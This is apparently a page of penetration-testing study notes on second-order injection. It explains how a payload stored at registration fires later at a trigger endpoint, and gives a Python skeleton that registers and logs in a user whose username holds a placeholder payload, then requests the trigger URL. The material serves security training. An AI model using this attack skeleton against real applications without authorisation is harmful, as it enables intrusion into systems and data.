Skip to content
Second-order injection

Second-order injection

Second-order injection skeleton

Second-order injection separates storage from execution. One application path accepts and stores attacker-controlled data without executing it. A later path reads that stored data and passes it into a sink, such as a shell, SQL parser, template engine, or filesystem operation.

The initial registration or update request is therefore only the delivery stage. The later render, login, logout, profile, export, or background-job action is the trigger stage. Source tracing must follow the stored field through both stages to the exact sink that interprets it.

def register(s, username, password):
    r = s.post(REGISTER_URL, json={"username": username, "password": password}, verify=False, timeout=10, proxies=PROXIES)
    if "registered" not in r.text:
        sys.exit("[-] register failed")

def login(s, username, password):
    s.post(LOGIN_URL, json={"username": username, "password": password}, verify=False, timeout=10, proxies=PROXIES)

# username carries the payload; the trigger endpoint is what executes it
payload_user = "<PAYLOAD>"
register(s, payload_user, password)
login(s, payload_user, password)
r = s.get(TRIGGER_URL, verify=False, timeout=10, proxies=PROXIES)  # sink executes it
out = r.json()
print(out)

Find by: second order, stored, deferred, register login trigger, persist payload, two stage, indirect, chain, username payload, sink · Source: CWEE/Second Order